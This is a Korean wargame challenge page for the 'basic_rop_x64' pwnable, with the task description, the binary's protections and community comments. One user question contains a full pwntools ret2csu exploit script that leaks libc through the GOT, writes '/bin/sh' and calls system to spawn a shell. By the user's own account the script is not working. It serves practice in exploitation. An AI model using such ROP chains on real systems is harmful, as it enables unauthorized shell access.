LEVEL 2

basic_rop_x64

pwnable
  • 문제 정보
  • 풀이 139
  • 난이도 투표 87
  • 질문 37
  • 최근 풀이자 1874
  • 댓글 76

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Reference

Return Oriented Programming

문제 수정 내역

2023.04.27: Ubuntu 22.04 환경으로 업데이트하였습니다.

난이도 투표 87

질문 37

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
진짜 도와주에요 ㅝㅜ
이문제로 많이 해메고 잇어요 거의 다온거같은데 system 함수가 전달 안되는 거같아요 어떤게 문제죠? ㅜ 작성한 셀코드는 from pwn import* context.log_level = "debug" p = process("./basic_rop_x64") #p =remote("host3.dreamhack.games",20854) #e = ELF("./basic_rop_x64") libc = ELF("./libc.so.6") read_got = 0x601030 bss = 0x601080 write_got = 0x601020 csu_init1 = 0x40087a csu_init2 = 0x400860 payload = b"A" * 0x48 #write(1,write,8) leack got payload +=p64(csu_init1) payload +=p64(0) payload +=p64(1) payload +=p64(write_got) payload +=p64(8) payload +=p64(write_got) payload +=p64(1) payload +=p64(csu_init2) #read(0,bss,binsh) payload +=p64(0) payload +=p64(1) payload +=p64(read_got) payload +=p64(8) payload +=p64(bss) payload +=p64(0) payload +=p64(csu_init2) #write(1,read_got,sytem) payload +=p64(0) payload +=p64(1) payload +=p64(write_got) payload +=p64(8) payload +=p64(read_got) payload +=p64(1) payload +=p64(csu_init2) #system(binsh) payload +=p64(0) payload +=p64(1) payload +=p64(read_got) payload +=p64(0) payload +=p64(0) payload +=p64(bss) payload +=p64(csu_init2) p.sendline(payload) print(p.recvn(0x40)) write_addr = u64(p.recvn(8)) libc_base = write_addr - 0xf72b0 system = libc_base - 0xf72b0 + 0x45390 print('write @ ' + hex(write_addr)) print('system @ ' + hex(system)) p.send('/bin/sh\x00') p.sendline(p64(system)) gdb.attach(p) pause() p.interactive() 이렇캐 됩니당 ㅜㅜ 버전은 20.4
상달
LEVEL 2

basic_rop_x64

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

c0nfu5e
워게임: 20
출제된 지 23시간 만에 풀이 완료!

최근 풀이자 1874

gosan
대표 업적 없음
yrpark99
대표 업적 없음
wooz3k
강의 수강: 1
탈퇴한 사용자
대표 업적 없음
avatar
Giappppp
Cloud 9
kmj343
대표 업적 없음
leilow
대표 업적 없음
wldn
대표 업적 없음
likeash
대표 업적 없음
Durumary
대표 업적 없음

댓글 76

ret2main 외에 이전에 사용된 got overwrite ROP으로도 exploit이 가능합니다. 그리고 완벽하게 코드를 짜도 local에선 성공이 안되는 경우가 있으니, 코드에 문제가 없어보이면 docker나 문제 서버 vm 대상으로 해보세요.
avatar
TAFKA
워게임: 50
어렵지 않아요
avatar
MerryQ
컴퍼니
다음부턴 도커환경에서 해야겠다
avatar
Captainjack
공부벌레
now ez for me ; )
avatar
스카이넷
워게임 고인물
ez
avatar
KnightChaser
공부벌레
Welp...
하얀종Ol
대표 업적 없음
예제를 풀고 쉽게 답이 나왔는데 Local에서 서버환경으로 해서 계속 안되고 있었네요 ㅎㅎ
avatar
Rosieblue
워게임 고인물
재밌어용 rop문제는 어려웠는데 걔를 풀고나서 얘를 푸니까 확실히 어떻게 풀지 감이 잡혀요ㅎㅎ
l000wk3y
공부벌레
간단한 rop라 처음에 공부하기 좋아요.
avatar
bshyuunn
강의 수강: 10
홀리 풀었다